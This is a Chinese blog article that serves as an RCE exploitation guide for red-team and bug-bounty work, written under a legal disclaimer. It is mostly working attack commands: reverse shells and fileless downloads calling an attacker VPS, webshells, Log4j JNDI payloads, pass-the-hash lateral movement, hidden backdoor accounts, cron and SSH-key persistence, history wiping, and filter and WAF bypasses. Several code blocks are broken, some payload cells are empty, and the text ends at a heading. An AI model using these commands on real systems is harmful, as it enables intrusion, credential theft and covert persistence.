当前位置: 首页 > news >正文

RCE 漏洞全解析:从原理到实战

RCE 漏洞全解析:从原理到红队实战(含护网落地技巧与工具链)

免责声明

  1. 本文所述所有渗透测试技术、工具、命令及实战案例,仅适用于已获得目标系统 / 网络所有者书面授权的测试场景(如企业内部安全评估、甲方委托的红队测试、个人合法拥有的实验环境)。
  2. 任何组织或个人若未取得明确书面授权,擅自将本文内容用于对第三方系统 / 网络的扫描、探测、攻击等行为,均属于非法网络活动,涉嫌违反《中华人民共和国网络安全法》《中华人民共和国刑法》(第 285 条 “非法侵入计算机信息系统罪”、第 286 条 “破坏计算机信息系统罪”)及《网络安全审查办法》等法律法规,作者对此类非法行为不承担任何责任,相关法律后果由行为人自行承担。
  3. 本文分享的渗透测试技术,核心目的是帮助读者 “理解攻击原理,进而构建更有效的防御体系”—— 渗透测试的本质是 “以攻促防”,而非 “指导攻击”。
  4. 网络安全行业的核心伦理是 “保护而非破坏”:所有测试行为需严格控制在授权范围内,测试结束后需完整恢复目标系统状态(如删除后门、清理日志、还原配置),严禁窃取、篡改、泄露目标系统的敏感数据(如用户信息、商业机密、核心代码),严禁破坏目标系统的正常运行。
  5. 网络安全是国家安全的重要组成部分,合法合规是每一位渗透测试工程师的职业底线。
  6. 您一旦阅读并使用本文内容,即视为已充分理解并同意本免责声明的全部条款。

作为护网红队,RCE(Remote Code Execution,远程代码执行)漏洞是渗透测试中危害等级最高的漏洞类型 —— 它能让攻击者直接在目标主机上执行任意代码或系统命令,从 “远程访问” 一跃升级为 “完全控制”。在护网行动中,RCE 更是 “拿下核心资产、快速拿分” 的关键突破口。本文将从 RCE 的本质原理出发,拆解其触发逻辑、利用链路、核心工具,结合实战与护网案例,阐述红队如何高效利用 RCE 实现深度渗透。

一、RCE 漏洞核心原理:从 “输入可控” 到 “代码执行”

1. 什么是 RCE 漏洞?

RCE 漏洞是指攻击者通过网络向目标应用程序输入可控数据,触发应用程序将该数据作为代码或系统命令执行,从而实现远程控制目标主机的漏洞。其核心危害在于 “突破网络边界,直接获取主机控制权”,是红队渗透中 “最具杀伤力” 的漏洞类型之一。

需注意 RCE 与 “命令执行(Command Execution)” 的细微区别(实战中常混用,但原理有差异):

  • 代码执行(Code Execution):执行目标环境的编程语言代码(如 PHP 的eval执行 PHP 代码、Java 的Class.forName加载恶意类);
  • 命令执行(Command Execution):调用目标操作系统的命令行工具(如 Windows 的cmd.exe、Linux 的bash,执行whoamiipconfig等命令);
  • 本质共性:两者均实现 “远程控制”,统称 RCE,区别仅在于 “执行的是代码还是系统命令”。

2. RCE 漏洞的触发本质:输入未过滤的 “信任滥用”

RCE 的根本原因是应用程序将 “用户可控输入” 直接传递给 “代码 / 命令执行函数”,未进行严格过滤、转义或沙箱限制。其触发链路可简化为:

用户可控输入 → 应用程序接收输入 → 未过滤/转义 → 传入执行函数(如eval、system、反序列化器) → 代码/命令执行
常见 RCE 触发场景与原理
触发场景核心原理典型案例
代码注入应用将用户输入作为代码片段嵌入执行逻辑(如动态代码生成)PHP:``(输入?cmd=system('whoami');执行命令);Python:exec(input("user_input"))(输入__import__('os').system('id')
命令注入应用调用系统命令时,将用户输入直接拼接进命令行示例:system("ping " + $_GET['ip'])(输入?ip=127.0.0.1; whoami,拼接后为ping 127.0.0.1; whoami,执行 whoami);工具:nmappingcurl等命令调用场景
反序列化漏洞应用对不可信数据进行反序列化时,触发恶意对象的readObject等方法执行代码Java:Apache Commons Collections 反序列化(触发Transformer链执行命令);Python:pickle.loads()加载恶意序列化数据;PHP:unserialize()处理恶意 payload
第三方组件漏洞依赖的开源组件存在 RCE 漏洞,攻击者利用组件接口触发代码执行Log4j 2(CVE-2021-44228):通过 JNDI 注入加载远程恶意类;Struts2(S2-045):OGNL 表达式注入执行命令;Spring Cloud Function(CVE-2022-22963):SPEL 表达式注入
文件上传 + 解析漏洞上传恶意脚本文件(如webshell.php),通过应用解析漏洞执行示例:上传test.php;.jpg绕过文件后缀检测,应用解析为 PHP 文件执行;场景:Apache Tomcat PUT 漏洞(CVE-2017-12615)、Nginx 解析漏洞

二、RCE 漏洞的利用链路:从 “漏洞验证” 到 “完全控制”

红队利用 RCE 漏洞的核心目标是 “获取主机控制权→横向移动→控制核心资产”,需遵循标准化流程,避免操作混乱导致暴露。

1. 第一步:漏洞验证(确认 RCE 存在且可利用)

核心目标:用最小代价(无破坏性命令)确认 RCE 是否存在,避免触发蓝队告警。

常用验证命令(跨平台通用):

  • Windows/Linux 通用whoami(查看当前用户权限)、id(Linux)、hostname(查看主机名);
  • 验证回显:若应用返回nt authority\system(Windows)或root(Linux),说明当前权限极高;若返回www-dataiusr,需后续提权;
  • 无回显场景:用 “外带数据” 验证(如ping -c 3 攻击者VPS IP,在 VPS 上用tcpdump抓包确认是否收到 ICMP 请求)。

示例(命令注入验证)

目标 URL:http://target.com/ping?ip=127.0.0.1

注入 payload:?ip=127.0.0.1; whoami

若响应中包含nt authority\iusr,证明存在 RCE(命令注入)。

2. 第二步:获取交互式 Shell(稳定控制)

验证 RCE 存在后,需获取 “交互式 Shell”(如cmdbashmeterpreter),方便后续操作(提权、横向移动)。常用方法:

(1)反弹 Shell(无回显场景首选)

通过 RCE 执行 “反弹 Shell 命令”,让目标主机主动连接攻击者 VPS,建立稳定会话。

  • Linux 反弹 Shell(bash):

    # 攻击者VPS先监听端口:nc -lvp 4444
    # RCE注入命令(拼接进目标输入点):
    bash -i >& /dev/tcp/攻击者VPS IP/4444 0>&1
    
  • Windows 反弹 Shell(powershell):

    # 攻击者VPS监听:nc -lvp 4444
    # RCE注入命令:
    powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('攻击者VPS IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
    
(2)植入 WebShell(有 Web 服务场景)

通过 RCE 写入 “一句话木马” 到 Web 目录,用蚁剑、菜刀等工具连接。

  • PHP WebShell(适用于 PHP 环境):

    RCE 注入命令(Linux):

    echo '<?php @eval($_POST["pass"]);?>' > /var/www/html/shell.php
    

    连接:用蚁剑输入http://target.com/shell.php,密码pass

  • ASPX WebShell(适用于 IIS 环境):

    RCE 注入命令(Windows):

    echo ^<%@ Page Language="C#" AutoEventWireup="true" %^>^<%System.Diagnostics.Process.Start("cmd.exe","/c whoami");%^> > C:\inetpub\wwwroot\shell.aspx
    

3. 第三步:权限提升(从低权限到系统控制)

获取的初始 Shell 常为低权限(如www-dataiusr),需通过 “操作系统提权” 升级为root(Linux)或system(Windows),才能访问敏感资源(如域控哈希、数据库配置)。

  • 常用提权方法:
    • 内核漏洞提权(如 Linux Dirty COW、Windows MS16-032);
    • 配置缺陷提权(如 SUID 文件、可写服务、sudo 无密码);
    • 凭证复用提权(如 Mimikatz 抓取哈希、SSH 密钥复用)。
  • 示例(Windows MS16-032 提权):
    1. 通过 RCE 上传MS16-032-x64.exe到目标C:\tmp
    2. 执行提权命令:C:\tmp\MS16-032-x64.exe "cmd.exe"
    3. 新弹出的 cmd 窗口权限为system

4. 第四步:横向移动(扩大控制范围)

获取单台主机控制权后,需利用 RCE 获取的凭证(如哈希、账号密码),横向渗透内网其他主机:

  • Windows 横向工具:psexecwmiexeccobalt strikepsexec模块;

    示例(哈希传递横向):

    # 用Mimikatz抓取的NTLM哈希,横向到192.168.1.20
    wmiexec.exe test.com/admin@192.168.1.20 -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 "cmd.exe"
    
  • Linux 横向工具:sshansiblepssh

    示例(SSH 密钥横向):

    # 将攻击者公钥写入目标~/.ssh/authorized_keys
    ssh-copy-id root@172.16.10.5
    # 无密码登录
    ssh root@172.16.10.5
    

5. 第五步:持久化控制(避免权限丢失)

为防止目标主机重启或蓝队清理后丢失权限,需建立持久化后门:

  • Windows 持久化:
    • 添加隐藏账号:net user backdoor$ P@ss123 /add && net localgroup administrators backdoor$ /add
    • 创建计划任务:schtasks /create /tn "Update" /tr "C:\tmp\beacon.exe" /sc daily /st 02:00
  • Linux 持久化:
    • 写入 SSH 公钥:echo "ssh-rsa AAAAB3Nza..." >> /root/.ssh/authorized_keys
    • 添加定时任务:echo "* * * * * root /tmp/ssh_backdoor.sh" >> /etc/crontab

三、RCE 漏洞利用核心工具与使用方法

红队利用 RCE 的工具需满足 “验证快、免杀好、功能全” 的要求,以下为实战中高频使用的工具分类与操作指南:

1. 漏洞验证与 Exploit 工具(快速触发 RCE)

(1)Metasploit Framework(MSF,通用漏洞利用)

核心用途:集成海量 RCE 漏洞的 Exploit 模块(如 Log4j、Struts2、Tomcat),支持一键获取 meterpreter 会话。

使用流程(以 Log4j RCE 为例)

  1. 启动 MSF:msfconsole

  2. 加载 Log4j Exploit 模块:

    use exploit/multi/http/log4j_rce
    
  3. 配置参数:

    set RHOSTS 192.168.1.30  # 目标IP
    set RPORT 8080           # 目标端口
    set LHOST 攻击者VPS IP   # 反弹Shell的IP
    set LPORT 4444           # 反弹Shell的端口
    
  4. 执行 Exploit:run

  5. 成功获取 meterpreter 会话,执行whoami验证权限。

(2)JNDIExploit(Log4j RCE 专项工具)

核心用途:针对 Log4j 的 JNDI 注入漏洞,生成恶意 RMI/LDAP 服务,触发 RCE 并反弹 Shell。

使用流程

  1. 攻击者 VPS 启动 JNDIExploit:

    java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 攻击者VPS IP
    
  2. 构造 Log4j payload(替换攻击者VPS IP):

    ${jndi:rmi://攻击者VPS IP:1099/Exploit?cmd=bash -i >& /dev/tcp/攻击者VPS IP/4444 0>&1}
    
  3. 将 payload 注入目标输入点(如登录框、HTTP 头);

  4. 攻击者 VPS 监听端口:nc -lvp 4444,接收反弹 Shell。

(3)Burp Suite(手动验证 RCE)

核心用途:拦截 HTTP 请求,手动注入 RCE payload,验证漏洞存在性。

使用流程(命令注入验证)

  1. 拦截目标请求(如/ping?ip=127.0.0.1);
  2. 修改ip参数为127.0.0.1; whoami,发送请求;
  3. 查看响应,若包含nt authority\iusr,证明 RCE 存在;
  4. 进阶:用 Burp 的 “Intruder” 模块批量测试不同 payload,寻找可用命令。

2. Shell 管理工具(稳定控制目标)

(1)Cobalt Strike(红队主力,护网必备)

核心用途:生成免杀 RCE payload(如 exe、powershell 脚本),支持反弹 beacon 会话,集成横向移动、持久化功能。

使用流程(生成 RCE payload)

  1. 启动 Cobalt Strike,新建监听器(Listener):

    • 类型选择HTTPHTTPS(伪装 Web 流量,规避 WAF);
    • 配置Host(攻击者 VPS IP)和Port(如 443)。
  2. 生成 payload:

    • 路径:Attacks → Packages → Windows Executable
    • 选择监听器,生成beacon.exe
  3. 通过 RCE 将beacon.exe上传到目标主机并执行:

    C:\tmp\beacon.exe
    
  4. Cobalt Strike 接收 beacon 会话,可执行 “提权”“横向移动”“持久化” 等操作。

(2)Meterpreter(MSF 内置 Shell)

核心用途:功能强大的交互式 Shell,支持命令执行、文件传输、提权、摄像头控制等。

常用命令(实战高频)

  • 查看权限:whoami
  • 提权:getsystem(尝试自动提权);
  • 横向移动:run post/windows/gather/enum_logged_on_users(枚举登录用户);
  • 持久化:run persistence -X -i 5 -p 4444 -r 攻击者VPS IP(开机自启反弹 Shell);
  • 文件传输:upload /tmp/exploit.exe C:\tmp(上传文件到目标)。

3. 命令执行辅助工具(无回显 / 免杀场景)

(1)Netcat(nc,反弹 Shell 必备)

核心用途:监听端口、接收反弹 Shell,轻量且跨平台。

使用流程

  • 攻击者 VPS 监听端口:nc -lvp 4444
  • 目标主机通过 RCE 执行反弹 Shell 命令(如 bash/powershell);
  • 成功建立连接,获取交互式 Shell。
(2)Powershell Empire(无文件 RCE)

核心用途:通过 powershell 脚本实现无文件 RCE,免杀性强,适合护网场景。

使用流程

  1. 启动 Empire:./empire

  2. 新建监听器:

    listeners
    uselistener http
    set Name http_listener
    set Host 攻击者VPS IP
    set Port 80
    execute
    
  3. 生成 powershell payload:

    usestager windows/launcher_powerShell
    set Listener http_listener
    execute
    
  4. 将生成的 payload 通过 RCE 注入目标(如powershell -nop -w hidden -e 生成的base64编码);

  5. Empire 接收 agent 会话,执行shell whoami验证权限。

四、实战与护网中 RCE 漏洞的深度利用(红队视角)

在护网行动中,RCE 的核心价值是 “快速突破边界、拿下核心资产”,需兼顾 “效率、隐蔽性、合规性”,避免触发蓝队应急响应。

1. 护网实战案例:某政务系统 Log4j RCE 渗透全流程

环境背景
  • 目标:某政务系统 Web 服务(10.0.0.5:8080),使用 Log4j 2.14.1(存在 CVE-2021-44228);
  • 网络拓扑:Web 服务位于 DMZ 区,可访问内网核心区(192.168.0.0/24);
  • 护网目标:获取核心区数据库服务器(192.168.0.10)权限。
渗透步骤
  1. RCE 漏洞验证
    • 构造 Log4j payload:${jndi:rmi://攻击者VPS IP:1099/Exploit?cmd=id}
    • 注入到 HTTP 的User-Agent头,发送请求;
    • 攻击者 VPS 查看 JNDIExploit 日志,发现目标执行id命令,返回uid=1000(tomcat),确认 RCE 存在。
  2. 获取 DMZ 区 Web 服务 Shell
    • 攻击者 VPS 启动 nc 监听:nc -lvp 4444
    • 构造反弹 Shell payload:${jndi:rmi://攻击者VPS IP:1099/Exploit?cmd=bash -i >& /dev/tcp/攻击者VPS IP/4444 0>&1}
    • 注入 payload 后,成功获取 tomcat 权限的 bash 会话。
  3. 提权到 root
    • 上传 Linux 提权工具LinPEAS.sh到目标/tmp
    • 执行./LinPEAS.sh -q,发现目标存在 SUID 文件/usr/bin/find
    • 利用 find 提权:find . -exec /bin/sh -p \; -quit,获取 root 权限。
  4. 横向移动到核心区数据库
    • 读取 Web 服务的数据库配置文件/var/www/config/db.php,获取账号dbadmin、密码Db@Admin2024
    • mysql客户端连接核心区数据库:mysql -h 192.168.0.10 -u dbadmin -pDb@Admin2024
    • 执行show databases;,确认获取数据库控制权,完成护网目标。
  5. 隐蔽性处理
    • 删除/tmp目录下的工具文件(LinPEAS.shnc);
    • 清理命令历史:history -c && > ~/.bash_history
    • 停止反弹 Shell 进程:pkill nc

2. 护网中 RCE 利用的核心技巧(避坑指南)

(1)优先选择 “低告警” RCE payload
  • 避免使用rm -rfformat等破坏性命令,仅执行 “验证 + 控制” 类命令(如whoamiipconfig);

  • 用 “无文件执行” 替代文件落地(如 powershell 脚本、内存马),避免被杀毒软件检测;

    示例(无文件 powershell 反弹 Shell):

    powershell -nop -c "IEX (New-Object System.Net.WebClient).DownloadString('http://攻击者VPS IP/ps1.txt')"
    

    ps1.txt中存放反弹 Shell 脚本,执行后不落地文件)。

(2)利用 RCE 获取 “高价值凭证”

护网中 RCE 的核心目标是 “拿分”,需优先获取以下凭证:

  • 域控哈希(用mimikatz抓取);

  • 数据库账号密码(读取配置文件);

  • 内网主机清单(执行arp -anmap -sP 192.168.0.0/24);

    这些凭证可直接用于横向移动,拿下更多资产,提升得分。

(3)快速横向 + 及时撤退
  • RCE 获取初始权限后,30 分钟内完成 “提权→横向→凭证收集”,避免停留过久被蓝队发现;
  • 测试结束后,彻底清理痕迹(删除工具、日志、后门),避免被溯源。

3. RCE 漏洞的防御与红队绕过技巧

(1)蓝队常见防御措施
  • 输入过滤:拦截evalsystembashcmd等关键词;
  • 输出编码:将用户输入中的特殊字符(如;|&)转义;
  • 沙箱限制:限制代码执行函数的权限(如 PHP 的disable_functions禁用system);
  • 漏洞补丁:及时更新存在 RCE 漏洞的组件(如 Log4j、Struts2)。
(2)红队绕过技巧
  • 绕过输入过滤:
    • 关键词变形:bash/bin/bas+h(拼接执行)、systemsyste+m
    • 编码绕过:bash -iecho -n YmFzaCAtaQ== | base64 -d | bash(base64 解码执行);
  • 突破沙箱限制:
    • PHP:利用putenv+mail函数绕过disable_functions
    • Java:利用java.lang.Runtime的反射机制执行命令;
  • 对抗 WAF:
    • 分块注入:将 payload 拆分为多段输入(如${jndi:rmi://a.${host}/Exploit}host为攻击者 VPS 域名);
    • 协议混淆:用ldap://替代rmi://(部分 WAF 仅拦截 RMI)。

五、RCE 漏洞的核心价值与红队思维

RCE 漏洞的本质是 “突破应用层边界,直接获取主机控制权”,其在红队渗透中的核心价值体现在:

  1. 效率最高:无需复杂的权限绕过,一次 RCE 即可从 “远程访问” 升级为 “系统控制”;
  2. 覆盖范围广:几乎所有编程语言(PHP、Java、Python)、所有组件(Web 服务、数据库、中间件)都可能存在 RCE;
  3. 横向基础:RCE 获取的初始权限是内网横向移动的 “敲门砖”,没有 RCE,多数内网渗透难以展开。

红队工程师利用 RCE 的核心思维是 “目标导向”:

  • 不盲目追求 “炫技”,而是聚焦 “拿分点”(域控、核心数据库、敏感数据);
  • 平衡 “攻击深度” 与 “隐蔽性”,避免因操作不当导致前功尽弃;
  • 把 RCE 视为 “跳板”,而非终点 —— 通过 RCE 获取权限后,立即开展提权、横向、持久化,最大化攻击效果。

六、核心前提:明确 SRC 中 RCE 挖掘的 “高效原则”

在动手前先建立 3 个核心原则,避免走弯路:

  1. “已知漏洞优先”:SRC 中 80% 的 RCE 漏洞是 “已知漏洞未修复”(如 Log4j、Struts2、Tomcat 漏洞),而非 0day/1day,优先验证这类漏洞效率最高;
  2. “验证成本最低”:选择 “无需复杂环境、1-2 条命令即可验证” 的 RCE 场景(如命令注入、组件漏洞),避免耗时的反序列化、文件上传 + 解析等复杂场景;
  3. “合规与隐蔽”:严禁使用破坏性命令(如rm -rfformat),仅执行 “验证性命令”(如whoamipinghostname);不扫描全端口、不落地恶意文件,避免触发目标企业的安全告警。

七、第一步:精准筛选目标 —— 找 “最容易出 RCE” 的资产

SRC 中资产数量庞大(少则数百,多则数千),盲目测试会浪费大量时间。需按 “RCE 风险优先级” 筛选目标,聚焦以下 4 类高风险资产:

1. 优先测试 “使用高危组件” 的资产

大量 RCE 漏洞源于第三方组件(中间件、框架)未及时更新,这类漏洞有成熟 POC,验证成本极低。需重点关注以下组件及对应 RCE 漏洞:

组件类型高风险组件示例典型 RCE 漏洞验证难度实战价值(SRC 评分)
日志框架Log4j 2.x(2.0-2.14.1)CVE-2021-44228(Log4j RCE)★☆☆☆☆严重(10-15 分)
Web 框架Struts2(2.0.0-2.5.32)S2-045(CVE-2017-5638)、S2-061(CVE-2020-17530)★☆☆☆☆高危(8-12 分)
应用服务器Tomcat(7.0.0-7.0.109)CVE-2020-1938(Ghostcat)、PUT 漏洞(CVE-2017-12615)★★☆☆☆高危(7-10 分)
持续集成工具Jenkins(2.0-2.218)CVE-2018-1000861(未授权 RCE)、CVE-2024-23897(权限绕过 RCE)★☆☆☆☆高危(8-12 分)
微服务框架Spring Cloud Function(3.1.6-3.2.2)CVE-2022-22963(SPEL 表达式注入 RCE)★☆☆☆☆高危(8-10 分)

筛选方法

  • 用 SRC 平台的 “资产标签” 筛选(如 “中间件 - Tomcat”“框架 - Struts2”);

  • 对无标签资产,访问其首页 / 登录页,通过 HTTP 头(如Server: Apache-Coyote/1.1对应 Tomcat)、页面底部版权信息(如 “Powered by Struts2”)识别组件;

  • 用工具批量识别组件版本(如Nucleitech-detect模板):

    nuclei -u http://target.com -t templates/tech-detect/ -silent  # 快速识别目标使用的组件及版本
    

2. 重点测试 “暴露管理接口 / 功能” 的资产

管理后台、运维接口通常包含 “命令执行”“配置修改” 等高危功能,是 RCE 的重灾区。需优先测试以下功能:

  • 命令执行类功能:如 “服务器监控”(执行pingtop)、“备份 / 恢复”(执行tarmysqldump)、“脚本执行”(运行自定义 Shell/PowerShell 脚本);
  • 文件上传类功能:如 “插件上传”(Jenkins、Jira)、“模板上传”(CMS 系统)、“头像 / 附件上传”(可能存在文件解析漏洞);
  • 配置导入 / 导出功能:如 “系统配置导入”(接收 XML/JSON 文件,可能存在反序列化 RCE)、“数据备份导出”(可能拼接命令)。

筛选方法

  • 用 Google Hacking 语法在 SRC 资产中搜索管理后台:site:src-target-domain inurl:admin | inurl:manage | inurl:jenkins | inurl:console

  • 访问常见管理路径(如/admin/jenkins/tomcat-manager/console),判断是否可访问。

3. 优先测试 “老旧系统 / 未打补丁” 的资产

操作系统、服务器版本越旧,存在 RCE 漏洞的概率越高(如 Windows Server 2008、CentOS 6)。需重点关注:

  • Windows 系统:Server 2003/2008(存在 MS17-010、MS16-032 等 RCE 漏洞);
  • Linux 系统:CentOS 6(内核 < 2.6.32,存在 Dirty COW 等内核 RCE);
  • Web 服务器:Apache 2.2、Nginx 1.4(存在解析漏洞,可配合文件上传实现 RCE)。

识别方法

  • 通过nmap扫描操作系统版本(需 SRC 允许端口扫描):

    nmap -O -Pn -p 80,443 http://target.com  # 猜测目标操作系统
    
  • 通过 HTTP 头X-Powered-By(如X-Powered-By: PHP/5.2.17,PHP 5.2 存在大量 RCE 漏洞)识别老旧组件。

4. 排除 “低风险资产”,避免浪费时间

以下资产 RCE 风险极低,可优先排除,聚焦高价值目标:

  • 纯静态网站(仅 HTML/CSS/JS,无后端交互);
  • 已明确标注 “测试环境”“演示环境” 的资产(SRC 通常不收录,或评分极低);
  • 采用云函数、Serverless 架构的资产(无直接服务器控制权,RCE 概率低)。

八、第二步:按 “验证效率” 排序 RCE 漏洞类型

不同 RCE 漏洞的验证复杂度差异极大,需按 “10 分钟内可验证” 的标准排序,优先测试以下类型:

1. 优先级 1:命令注入(最快验证,1-2 分钟 / 目标)

命令注入是 SRC 中最易验证的 RCE 类型 —— 通常存在于 “调用系统命令” 的功能中(如pingtraceroutecurl),只需拼接命令即可验证。

(1)典型场景与验证方法
功能场景测试参数验证 Payload(有回显)验证 Payload(无回显)
服务器监控(ping)?ip=127.0.0.1?ip=127.0.0.1; whoami(Linux)?ip=127.0.0.1&&whoami(Windows)?ip=127.0.0.1; ping -c 3 攻击者VPS IP(Linux)?ip=127.0.0.1&&ping -n 3 攻击者VPS IP(Windows)
数据备份(mysqldump)?db=test&path=/tmp?db=test; whoami&path=/tmp?db=test; curl http://攻击者VPS IP/flag&path=/tmp
远程下载(curl/wget)?url=http://example.com?url=http://example.com; whoami?url=http://example.com; ping 攻击者VPS IP
(2)快速验证技巧
  • 用 Burp Suite 拦截请求,直接修改参数值,无需写代码:
    1. 拦截/ping?ip=127.0.0.1请求;
    2. ip改为127.0.0.1; whoami,发送请求;
    3. 若响应中包含root/nt authority\system,证明存在 RCE;若包含www-data/iusr,同样可提交(SRC 认可低权限 RCE)。
  • 无回显时,用 “外带数据” 验证:
    1. 攻击者 VPS 启动tcpdump监听 ICMP 请求:tcpdump -i eth0 icmp
    2. 注入ping命令,若 VPS 收到 ICMP 包,证明命令已执行。

2. 优先级 2:第三方组件 RCE(有成熟 POC,5-10 分钟 / 目标)

这类漏洞有现成的 POC 工具 / 脚本,无需手动构造 Payload,验证效率极高。重点关注以下组件:

(1)Log4j RCE(CVE-2021-44228)
  • 适用场景:使用 Log4j 2.x(2.0-2.14.1)的 Java 应用(如 Spring Boot、Elasticsearch、Solr);

  • 验证工具JNDIExploit(生成恶意 RMI/LDAP 服务)、Log4j-Scanner(批量检测);

  • 验证步骤:

    1. 攻击者 VPS 启动JNDIExploit

       java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 攻击者VPS IP  # 启动恶意RMI服务
      
    2. 构造 Log4j Payload,注入到 HTTP 头(如User-AgentReferer)或参数中:

       ${jndi:rmi://攻击者VPS IP:1099/Exploit?cmd=whoami}
      
    3. JNDIExploit日志显示 “Command executed successfully”,或 VPS 收到反弹 Shell(需提前监听端口),证明存在 RCE;

    4. 批量检测:用Log4j-Scanner批量扫描 SRC 资产:

       python3 log4j-scanner.py -u http://target-list.txt -p 80,443  # target-list.txt为SRC资产列表
      
(2)Struts2 RCE(如 S2-045、S2-061)
  • 适用场景:使用 Struts2 2.0.0-2.5.32 的 Web 应用;

  • 验证工具Struts2-ScanNuclei(struts2 漏洞模板);

  • 验证步骤:

    1. Nuclei快速检测:

       nuclei -u http://target.com -t templates/cves/2020/CVE-2020-17530.yaml -silent  # 检测S2-061漏洞
      
    2. 若返回 “VULNERABLE”,用Struts2-Scan验证命令执行:

       python3 struts2-scan.py -u http://target.com -c "whoami"  # 执行whoami命令,查看响应
      

3. 优先级 3:文件上传 + 解析漏洞(10-15 分钟 / 目标)

这类漏洞需 “上传恶意文件 + 触发解析” 两步,验证稍复杂,但在 SRC 中常见(如 CMS、论坛、管理后台)。

(1)典型场景与验证方法
上传场景绕过技巧恶意文件内容(验证用)解析触发方式
头像 / 附件上传后缀绕过(如shell.php;.jpgshell.jspxPHP:``(一句话木马)JSP:<% Runtime.getRuntime().exec("whoami"); %>访问上传后的文件路径(如http://target.com/upload/shell.php;.jpg),用蚁剑连接或查看响应
插件 / 模板上传直接上传webshell.war(Tomcat)WAR 包内置shell.jsp(含命令执行代码)部署插件后,访问http://target.com/webshell/shell.jsp
代码托管平台(如 Gitea)上传README.md嵌入恶意代码Markdown 嵌入eval($_POST['pass']);若平台渲染 Markdown 时解析 PHP,访问 README 页面即可触发
(2)快速验证技巧
  • 用 “最小化 webshell” 验证(避免被 WAF 拦截):

    PHP 最小 webshell:

    <?=eval($_POST[1]);?>
    

    (比<?php ... ?>更短,不易被检测);

  • 无回显时,用 “外带数据” 的 webshell:

    <?php file_get_contents("http://攻击者VPS IP/flag?cmd=".urlencode(shell_exec("whoami"))); ?>
    

    上传后访问该文件,VPS 日志中会显示whoami的执行结果。

4. 优先级 4:反序列化 RCE(最后考虑,复杂度高)

反序列化 RCE 需构造特定 Payload(如 Java 的ysoserial、PHP 的phpggc),且依赖目标环境(如存在特定类库),验证成本高,仅在其他类型无收获时测试。

(1)典型场景与验证工具
语言 / 框架反序列化漏洞示例验证工具核心步骤
Java(Commons Collections)CVE-2015-7501ysoserial1. 生成 Payload:java -jar ysoserial.jar CommonsCollections1 "bash -i >& /dev/tcp/攻击者VPS IP/4444 0>&1" > payload.ser;2. 将payload.ser作为参数上传 / 发送;3. VPS 监听端口,接收反弹 Shell
PHP(Laravel)CVE-2018-15133phpggc1. 生成 Payload:phpggc Laravel/RCE1 "whoami" -b;2. 将 Payload 作为__serialize参数发送;3. 查看响应中的whoami结果
(2)SRC 中的简化验证

无需获取完整 Shell,只需证明 “可执行命令” 即可:

  • 执行echo "RCE_VULN" > /tmp/rce_test.txt,若能通过其他接口(如文件下载)获取该文件,证明 RCE 存在;
  • 执行ping -c 1 攻击者VPS IP,通过 VPS 的tcpdump确认命令执行。

九、第三步:工具链整合 ——10 分钟内完成 “识别→验证→证明”

高效挖掘 RCE 的核心是 “工具自动化 + 手动验证结合”,以下是 SRC 中高频使用的工具链,按 “批量识别→精准验证→证据留存” 分类:

1. 批量识别工具:快速筛选高风险目标

(1)Nuclei(自动化漏洞扫描)
  • 核心用途:基于模板批量检测 RCE 漏洞(如 Log4j、Struts2、Tomcat),支持 SRC 资产列表导入;

  • 实战命令:

    
    

1. 批量检测Log4j漏洞

nuclei -l src-targets.txt -t templates/cves/2021/CVE-2021-44228.yaml -silent -o log4j-vuln.txt

2. 批量识别组件版本(筛选老旧组件)

nuclei -l src-targets.txt -t templates/tech-detect/ -silent -o tech-info.txt

- **优势**:轻量、快速,支持多线程,适合 SRC 中大量资产的初步筛选。#### (2)Gobuster(路径扫描,找管理后台)- **核心用途**:爆破 Web 路径,寻找管理后台、上传接口等高危功能;- 实战命令:```bash
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -x php,jsp,asp,aspx -q  # 爆破常见路径及后缀
  • 重点关注路径/admin/jenkins/upload/console/manager

2. 精准验证工具:1 条命令确认 RCE

(1)Burp Suite(手动验证命令注入 / 参数篡改)
  • 核心用途:拦截请求,手动注入 Payload,实时查看响应;

  • 高效技巧:

    • 用 “Repeater” 模块快速修改参数(如ip=127.0.0.1; whoami);
  • 用 “Intruder” 模块批量测试 Payload(如不同命令分隔符;&&|);

    • 安装插件 “Active Scan++”,自动检测命令注入漏洞。
(2)JNDIExploit/Log4j-Scanner(Log4j 专项验证)
  • 核心用途:快速验证 Log4j RCE,无需手动构造 JNDI Payload;

  • 实战命令:

    
    

JNDIExploit启动恶意服务

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.1.100 -p 8888

Log4j-Scanner批量验证

python3 log4j-scanner.py -l src-targets.txt -c “ping 192.168.1.100” -v

#### (3)phpggc/ysoserial(反序列化专项验证)- **核心用途**:生成反序列化 Payload,验证 Java/PHP 反序列化 RCE;- 实战命令:```bash
# PHP反序列化(Laravel RCE)
phpggc Laravel/RCE1 "whoami" -b | base64  # 生成base64编码的Payload,便于传输# Java反序列化(Commons Collections)
java -jar ysoserial.jar CommonsCollections1 "curl http://192.168.1.100/flag" > payload.ser

3. 证据留存工具:快速生成 SRC 提交材料

SRC 提交需包含 “漏洞存在证明”,以下工具可快速生成证据:

  • 截图工具:Snipaste(截取 “请求 Payload + 响应结果”,如whoami执行结果);
  • HTTP 请求导出:Burp Suite 的 “Copy to file” 功能(导出完整请求包,包含 Payload);
  • 命令执行日志:攻击者 VPS 的tcpdump/nc日志(如ping外带的 ICMP 包日志)。

提交材料模板

  1. 漏洞标题:【高危】目标IP:端口 存在Log4j RCE漏洞(CVE-2021-44228)
  2. 漏洞描述:目标使用Log4j 2.14.1,通过注入JNDI Payload可执行任意命令
  3. 复现步骤:1. 启动JNDIExploit;2. 注入Payload ${jndi:rmi://VPS IP:1099/Exploit?cmd=whoami};3. 查看响应包含nt authority\system
  4. 证明截图:包含 “请求 Payload”“响应结果”“VPS 日志” 的拼接截图。

十、实战案例:SRC 中 Log4j RCE 漏洞

场景背景

